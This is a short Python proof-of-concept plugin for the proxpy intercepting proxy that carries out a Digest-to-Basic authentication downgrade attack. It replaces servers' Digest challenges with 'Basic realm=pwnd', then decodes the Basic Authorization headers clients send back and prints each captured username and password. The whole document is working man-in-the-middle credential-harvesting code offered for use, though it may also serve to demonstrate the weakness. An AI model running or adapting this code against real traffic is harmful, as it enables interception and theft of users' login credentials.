Digest to Basic downgrade attack PoC plugin for proxpy (https://code.google.com/p/proxpy/)

dtob.py

# dtob.py
# Digest to Basic downgrade attack PoC plugin for proxpy (https://code.google.com/p/proxpy/)
#
# 2013 Leon Jacobs
# Licensed under IDC (I don't Care) license.
import base64
import hashlib

def headerCleanup(v):

    # strip annoying bracket things
    v = v.translate(None, "'[\\'")
    v = v.translate(None, "\\']'")

    # convert it to a list
    headers = v.split(', ')

    return headers

def proxy_mangle_request(req):

    v = str(req.getHeader("Authorization"))

    headers = headerCleanup(v)

    if 'Basic' in headers[0]:
        print "[*] Basic Auth Response Detected."
        credentials = headers[0].split(" ")
        credentials = base64.b64decode(credentials[1]).split(":")
        print "[!] Found username '%s' and password '%s' for URL %s" % (credentials[0], credentials[1], str(req.url))

    if 'Digest' in headers[0]:
        print "[x] Aww, the client responded with a Digest. \"Were too late!\" :("

    return req

def proxy_mangle_response(res):

    v = str(res.getHeader("WWW-Authenticate"))

    headers = headerCleanup(v)

    if 'Digest' in headers[0]:

        # Swap out Digest for Basic :>
        header = str(headers[0])
        print "[*] Found digest auth. Masquerading the response with a basic one :>"
        res.setHeader("WWW-Authenticate", "Basic realm=pwnd")

    return res